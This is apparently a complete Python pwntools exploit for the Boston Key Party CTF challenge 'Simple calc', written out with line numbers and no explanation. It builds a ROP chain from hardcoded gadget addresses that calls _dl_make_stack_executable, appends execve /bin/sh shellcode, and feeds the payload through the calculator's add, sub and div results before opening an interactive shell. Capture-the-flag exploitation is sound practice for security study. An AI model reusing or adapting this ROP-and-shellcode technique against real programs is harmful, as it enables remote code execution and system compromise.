Bostonkey Simple calc

 1 #!/usr/bin/python
 2 from pwn import *
 3 import time
 4 #wah
 5 
 6 #context.log_level = ‘debug‘
 7 #s = remote(‘simplecalc.bostonkey.party‘,5400, timeout=2)
 8 s = remote(‘127.0.0.1‘,10001)
 9 time.sleep(1)
10 print ‘pwn-calc pid is %d‘ % pwnlib.util.proc.pidof(‘pwn-calc‘)[0]
11 raw_input(‘go!‘)
12 
13 def add(x,y):
14     s.recvuntil(‘=> ‘, timeout=2)
15     s.sendline(‘1‘)
16     s.recvuntil(‘Integer x: ‘, timeout=2)
17     s.sendline(x)
18     s.recvuntil(‘Integer y: ‘, timeout=2)
19     s.sendline(y)
20 def sub(x,y):
21     s.recvuntil(‘=> ‘, timeout=2)
22     s.sendline(‘2‘)
23     s.recvuntil(‘Integer x: ‘, timeout=2)
24     s.sendline(x)
25     s.recvuntil(‘Integer y: ‘, timeout=2)
26     s.sendline(y)
27 def div(x,y):
28     s.recvuntil(‘=> ‘, timeout=2)
29     s.sendline(‘4‘)
30     s.recvuntil(‘Integer x: ‘, timeout=2)
31     s.sendline(x)
32     s.recvuntil(‘Integer y: ‘, timeout=2)
33     s.sendline(y)
34 rop = ‘‘
35 rop += p32(0x31)    #fake heap head
36 rop += 11*p32(500)
37 rop += p64(0x6C4AA0)    #divresult to bypass free()
38 rop += p32(500)*4
39 
40 rop += p64(0x4b8f17)    #pop rcx; ret
41 rop += p64(0x6C0FE0)    #__stack_prot
42 rop += p64(0x474a83)    #pop rax; ret
43 rop += p64(0xffffffffffffffff)    #-1
44 rop += 8*p64(0x00463b90)    #add rax,1;ret
45 rop += p64(0x40f50b)    #add BYTE PTR [rcx],al; ret
46 rop += p64(0x00463600)    #pop rdi; ret
47 rop += p64(0x6C0F88)    #__libc_stack_end
48 rop += p64(0x4717E0)    #_dl_make_stack_executable
49 rop += p64(0x44282a)    #call rsp
50 
51 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
52 rop += shellcode
53 
54 payloadlen = len(rop)
55 print ‘payload len is %d‘ % len(rop)
56 #print rop.encode(‘hex‘)
57 
58 remaind = payloadlen %4
59 padlen = payloadlen + 4-remaind
60 formats = ‘{:‘ + ‘\x01‘ + ‘<‘ + str(padlen) + ‘}‘
61 payload = formats.format(rop)
62 #print payload.encode(‘hex‘)
63 
64 s.recvuntil(‘Expected number of calculations: ‘, timeout=2)
65 s.sendline(str(padlen/4 + 1))
66 
67 tmp = 0x30
68 for i in range(padlen/4):
69     #print ‘%d round‘ % (i+1)
70     num = u32(payload[4*i:4*(i+1)])
71     #print hex(num)
72     if num == 0x31:
73         div(str(0x31*0x31), str(0x31))    #to bypass free
74     elif num <= 0x27:
75         sub(str(num+0x30),str(0x30))
76     elif num >= 0x70000000:
77         add(str(num-0x70000000),str(0x70000000))
78     else:
79         add(str(num-0x30),str(0x30))
80 s.recvuntil(‘=> ‘, timeout=2)
81 s.sendline(‘5‘)
82 s.interactive()